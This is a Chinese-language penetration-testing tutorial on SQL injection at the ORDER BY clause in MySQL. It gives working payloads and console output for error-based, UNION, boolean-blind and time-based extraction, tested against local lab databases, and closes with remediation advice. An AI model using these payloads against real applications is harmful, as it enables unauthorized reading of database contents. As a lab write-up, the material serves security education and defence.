Xavier 收录于 Pentest

2023-07-28 约 3407 字预计阅读 7 分钟

本篇文章作者Xavier，本文属i春秋原创奖励计划，首发于i春秋论坛，未经许可禁止转载。

原文地址：https://bbs.ichunqiu.com/thread-63491-1-1.html

之前一篇文章讲了GROUP BY 位置点的注入，这次讲下ORDER BY位置点的注入。

order by简介

ORDER BY语句是SQL语法中用于对查询结果进行排序的子句。它可以按照一个或多个列的值进行升序（ASC）或降序（DESC）排序。

语法

ORDER BY子句通常紧跟在SELECT语句的最后，用于指定排序的规则。下面是ORDER BY语句的一般语法形式：

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SELECT column_name, function(column_name)
FROM table_name
WHERE column_name operator value
ORDER BY column_name1 [ASC|DESC], column_name2 [ASC|DESC], ...
LIMIT num;

在ORDER BY子句中，可以指定一个或多个列作为排序的依据。按照指定的列顺序进行排序，每个列可以指定是升序（ASC）还是降序（DESC），默认是升序排序。

以下是一些常见的用法和注意事项：

排序单个列：可以通过列名指定要排序的列。例如，ORDER BY 列名 ASC表示按升序对该列进行排序，ORDER BY 列名 DESC表示按降序对该列进行排序。
排序多个列：可以按照多个列进行排序，多个列之间用逗号分隔。排序优先级按照列在ORDER BY子句中的顺序确定。
NULL值处理：在排序中，默认情况下NULL值会被视为最小值（升序排序）或最大值（降序排序）。可以使用NULLS FIRST或NULLS LAST指定NULL值在排序中的位置。
表达式排序：除了列名外，还可以使用表达式作为排序的依据。例如，可以使用函数、算术表达式或条件表达式进行排序。
排序方向：默认情况下，排序是升序的。可以使用ASC或DESC关键字明确指定排序方向。ASC表示升序（默认），DESC表示降序。

ORDER BY语句在查询结果中对记录进行排序，提供了灵活的排序功能，可以根据需要对结果集进行定制化排序。它对于按特定条件获取有序结果非常有用，例如按照日期、数值大小或字母顺序进行排序。

order by 注入

通常order by注入有两个可能点，一个是列名（id）可控，一个是排序方向（desc）可控。

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select * from table order by id desc

如果只能控制desc这个位置的参数，我们需要利用SQL语法的特性，通过拼接 desc,<column>的形式控制列名作为注入点，即：

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select * from table order by id desc, column_name

1、本地环境

以MySQL为例进行讲解。

下面演示用到2个数据库，MySQL 5.7.26和MySQL8.0.31

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# sqli-labs 数据库，版本5.7.26
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 13 | admin1   | admin3     |
+----+----------+------------+
14 rows in set (0.01 sec)

# 自建数据库，版本8.0.31
mysql> select * from users;
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (0.01 sec)

2、获取字段数

Order by 后面加数字就能进行字段数的枚举，当数字大于字段数时，就会产生类似如下报错：

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mysql> select * from users order by 5;
+----+-------+----------+------+-----------+
| id | name  | pass     | age  | area      |
+----+-------+----------+------+-----------+
|  1 | test1 | 123456   |   18 | beijing   |
|  3 | user1 | qwer1234 |   28 | guangzhou |
|  2 | test2 | 543210   |   20 | shanghai  |
+----+-------+----------+------+-----------+
3 rows in set (0.00 sec)

mysql> select * from users order by 6;
ERROR 1054 (42S22): Unknown column '6' in 'order clause'

3、联合注入(罕见)

order by位置后无法接union select，语法不支持，报错如下。

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mysql> select * from users order by id union select 1,2,3,4,5;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,4,5' at line 1

但是有一种情况，可能可以用，即前一句SQL语句整体处在括号中。如下：

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mysql> (select * from users order by id);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (0.01 sec)

mysql> (select * from users order by id) union select 1,2,3,4,5;
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
|  1 | 2      | 3        |    4 | 5         |
+----+--------+----------+------+-----------+
5 rows in set (0.01 sec)

这种情况非常罕见，利用条件比较苛刻。

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mysql> (select * from users order by id) union select 1,user(),3,4,version();
+----+----------------+----------+------+-----------+
| id | name           | pass     | age  | area      |
+----+----------------+----------+------+-----------+
|  1 | test1          | 123456   |   18 | beijing   |
|  2 | test2          | 543210   |   20 | shanghai  |
|  3 | user1          | qwer1234 |   28 | guangzhou |
|  4 | aduser         | 123456   |   10 | beijing   |
|  1 | root@127.0.0.1 | 3        |    4 | 8.0.31    |
+----+----------------+----------+------+-----------+
5 rows in set (0.01 sec)

4、报错注入

如果列名可控，即为 ?orderby=id的情况：

1）XPath报错

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mysql> select * from users order by id/extractvalue(1,concat('~',(select version())));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31'

mysql> select * from users order by id/updatexml(1,concat(0x7e,(select version()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31~'

2）Geohash报错

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# mysql 5.7.26
mysql>  select * from users order by users.id/(ST_LongFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LONGFROMGEOHASH
mysql>
mysql> select * from users order by users.id/(ST_PointFromGeoHash((select version()),1));
ERROR 1210 (HY000): Incorrect arguments to /
mysql>
mysql> select * from users order by users.id/(ST_LatFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LATFROMGEOHASH
mysql>

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# mysql 8.0.31 
mysql> select * from users order by id/(ST_LongFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '8.0.31' for function ST_LONGFROMGEOHASH
mysql> 
mysql> select * from users order by id/(ST_PointFromGeoHash((select version()),1));
ERROR 1210 (HY000): Incorrect arguments to /
mysql> 
mysql> select * from users order by id/(ST_LatFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '8.0.31' for function ST_LATFROMGEOHASH

3）GTID报错

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# mysql 5.7.26
mysql> select * from users where username like 'admin%' order by users.id/(gtid_subtract(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.
mysql>
mysql> select * from users where username like 'admin%' order by users.id/(gtid_subset(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.
mysql>

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# mysql 8.0.31
mysql> select * from users order by users.id/(gtid_subtract(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '8.0.31'.
mysql> 
mysql> select * from users order by users.id/(gtid_subset(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '8.0.31'.

4）Duplicate key报错

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# mysql 5.8.26
mysql> select * from users where username like 'admin%' order by (select 1 from (select count(*),concat(version(),'~',floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.7.26~1' for key '<group_key>'

mysql> select * from users where username like 'admin%' order by (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry '5.7.26~1' for key '<group_key>'

mysql 8.0.31不适用

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mysql> select * from users order by (select 1 from (select count(*),concat(version(),'~',floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1242 (21000): Subquery returns more than 1 row

5、布尔盲注

1）IF

利用if语句

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# 前面等式成立则按id列进行排序，不成立则按age列进行排序。
mysql> select * from users order by if(1=0,id,age);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  4 | aduser | 123456   |   10 | beijing   |
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
+----+--------+----------+------+-----------+
4 rows in set (0.01 sec)

mysql> select * from users order by if(1=1,id,age);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (0.00 sec)

可以看到这种方法，必须要知道列名，利用还是有条件的。

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mysql> select * from users order by if((substr(version(),1,1)='8'),id,age);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (0.01 sec)

mysql> select * from users order by if((substr(version(),1,1)='6'),id,age);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  4 | aduser | 123456   |   10 | beijing   |
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
+----+--------+----------+------+-----------+
4 rows in set (0.01 sec)

网上有些文章直接用数字代替列名，如if(1=1,1,4)，但是本地测试时两个版本都没有成功。如下：

2）rand

利用rand() true和false返回顺序不同进行盲注。

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order by rand(1)
order by rand(0)
order by rand(substr(version(),1,1)='8')

3）位运算符

位运算符，主要使用^异或运算，其他也可

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order by id^0;
order by id^1;

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select * from users order by id^(substr(version(),1,1)='8');select * from users order by id^(substr(version(),1,1)='6');

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order by id^(select (select version()) regexp '^5');order by id^(select (select version()) regexp 0x5e35);  # 0x5e35 <-> hex('^5') # 注意 regexp 在不同版本下对十六进制匹配会有些微小的差异

6、时间盲注

order by会根据数据记录数把延时放大，比如sleep 1秒，有3条记录，则总共延时 3秒。

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mysql> select * from users order by sleep(1);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (4.02 sec)

mysql> select * from users order by id,if((substr(version(),1,1)=8),sleep(1),0);
+----+--------+----------+------+-----------+
| id | name   | pass     | age  | area      |
+----+--------+----------+------+-----------+
|  1 | test1  | 123456   |   18 | beijing   |
|  2 | test2  | 543210   |   20 | shanghai  |
|  3 | user1  | qwer1234 |   28 | guangzhou |
|  4 | aduser | 123456   |   10 | beijing   |
+----+--------+----------+------+-----------+
4 rows in set (4.01 sec)

修复建议

要防止sql注入攻击，建议采取以下措施： 1、使用参数绑定或预编译语句：使用参数化查询或预编译语句，将用户提供的输入作为参数传递给SQL查询，而不是将其直接拼接到查询字符串中。这样可以防止恶意输入被解释为SQL代码。 2、输入验证和过滤：对于动态生成的列名或表达式，确保对用户输入进行严格的验证和过滤，只允许合法的值和字符，避免将恶意输入传递给SQL查询。 3、最小权限原则：在数据库的访问控制上，确保应用程序使用的数据库账户具有最小的权限，仅限于执行必要的操作，以减少潜在的攻击面。

对于无法直接进行预编译的内容，需要在代码层进行过滤和处理，比如可以通过映射的方式将前端接收的参数值匹配到后端相应的值，再传入SQL进行操作，从而避免将恶意输入传递给SQL查询。

以上就是本次分享全部内容，如有纰漏，欢迎各位大佬交流指正。

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019-SQL注入之OrderBy位置点注入